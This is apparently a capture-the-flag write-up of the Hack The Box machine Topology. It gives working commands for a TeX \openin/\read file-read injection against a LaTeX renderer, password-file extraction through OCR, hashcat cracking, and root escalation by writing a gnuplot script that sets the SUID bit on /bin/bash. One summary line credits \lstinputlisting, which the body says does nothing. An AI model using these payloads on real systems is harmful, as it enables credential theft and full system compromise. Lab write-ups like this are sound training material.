Summary
Topology is an Easy Linux box: LaTeX equation generator on
latex.topology.htb lets us inject TeX file-read primitives
to read arbitrary files → grab /var/www/dev/.htpasswd →
crack APR1 → SSH as vdaisley. Privesc: root cron runs
gnuplot /opt/gnuplot/*.plt and the dir is drwx-wx-wx —
vdaisley can drop a .plt even without read access on the
dir → system("chmod +s /bin/bash") → bash -p.
The chain:
latex.topology.htb/equation.php?eqn=...renders user equations to PNG via pdflatex withrestricted \write18.\input{...}and\write18{...}are blocked by the PHP filter (“Illegal command detected”);\lstinputlistingsilently no-ops because thelistingspackage isn’t loaded by thestandalonedocument class. The working primitive is plain TeX\openin\read— builtin, no package needed:\openin1=/path \read1 to\f \detokenize\expandafter{\f}\detokenizeis required:$apr1$...and:chars would otherwise be parsed as TeX active tokens and break the PNG render.- Read
/var/www/dev/.htaccess→AuthUserFile /var/www/dev/.htpasswd. Then read.htpasswd→vdaisley:$apr1$<salt>$<hash>. The PNG output goes through tesseract OCR; the salt-vs-hash boundary is ambiguous in OCR (e.g.1vsl,0vsO,5vsS). Whenhashcat -m 1600rejects with “token length exception”, view the raw PNG at the actual pixel resolution — the$apr1$<8-char>$<22-char>boundary is visually unambiguous even when OCR isn’t. - hashcat -m 1600 →
<VDAISLEY_PW>(a calculus-themed string). SSH as vdaisley. /opt/gnuplot/isdrwx-wx-wx. vdaisley can write but not list. Drop a.pltblind:echo 'system("chmod 4755 /bin/bash")' > /opt/gnuplot/x.pltRoot cron picks it up within ~2 min;
/bin/bash -pis then SUID-root.bash -p -c 'cat /root/root.txt'→ root flag.
Recon
22/tcp OpenSSH
80/tcp topology.htb
+ vhosts: latex.topology.htb (LaTeX renderer), dev.topology.htb
Foothold — TeX \openin\read → htpasswd
The endpoint is GET /equation.php?eqn=<url-encoded-tex>&submit=Generate,
not POST /equation. Output is a image/png body (the
rendered equation). Filter denies \input and \write18 by
literal-substring match. \lstinputlisting is permitted but
silently no-ops because the standalone class doesn’t load
listings. \openin\read (plain TeX, no package required)
works:
PAYLOAD='\openin1=/var/www/dev/.htaccess\read1 to\f\detokenize\expandafter{\f}'
curl -G --data-urlencode "eqn=$PAYLOAD" --data-urlencode 'submit=Generate' \
http://latex.topology.htb/equation.php -o eq.png
tesseract --psm 7 eq.png -
# AuthUserFile /var/www/dev/.htpasswd
For multi-line files, the script
(notes/engagements/topology/exploits/topology_read.py)
calls \read1 to\f N times to skip to a target line.
Length is the binding constraint — the LaTeX source has
a Input too long. Sorry. reject at ~600 chars, so each
request reads at most ~10 lines.
Then the .htpasswd:
PAYLOAD='\openin1=/var/www/dev/.htpasswd\read1 to\f\detokenize\expandafter{\f}'
curl -G --data-urlencode "eqn=$PAYLOAD" --data-urlencode 'submit=Generate' \
http://latex.topology.htb/equation.php -o htpw.png
tesseract -c tessedit_char_whitelist='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789$./:' \
--psm 7 htpw.png -
# vdaisley:$apr1$<salt>$<hash>
OCR ambiguity warning: open the PNG at full resolution
before pasting into hashcat. APR1 has $apr1$<8-byte
salt>$<22-byte hash>; if hashcat rejects with “token
length exception”, an OCR-corrupted boundary char (l↔1,
O↔0, S↔5) is the most likely cause.
hashcat -m 1600 hash rockyou.txt
# → <VDAISLEY_PW>
ssh vdaisley@<TARGET>
Privesc — gnuplot cron in drwx-wx-wx dir
$ ls -ld /opt/gnuplot
drwx-wx-wx 2 root root 4096 .../opt/gnuplot/
The dir is write+exec without read — vdaisley can
create files but cannot ls. Don’t waste time enumerating
the cron file or the existing .plt files; just write
blind:
echo 'system("chmod 4755 /bin/bash")' > /opt/gnuplot/x.plt
# wait ≤2 min for the next cron tick
ls -la /bin/bash # → -rwsr-xr-x root root
/bin/bash -p -c 'cat /root/root.txt'
Note the root cron is */2 * * * * (every 2 min); first
tick after the drop fires within ~10-90s.
Why each step worked
- LaTeX
\lstinputlisting: documented file-include command; renderer didn’t restrict the package set. - APR1 in rockyou: weak password.
- Group-writable cron dir: design flaw; gnuplot’s
system()is a documented escape.
Counterfactuals
- LaTeX renderers should run with
-no-shell-escapeand a restricted package set (nolistings, noverbatimreads). - Cron task dirs
0700 root:root.
References
- 0xdf, “HTB: Topology” — https://0xdf.gitlab.io/2023/11/04/htb-topology.html
- IppSec, “Topology” video walkthrough — https://ippsec.rocks/?#Topology
- TeX
\openin/\readprimitives — The TeXbook, ch.20.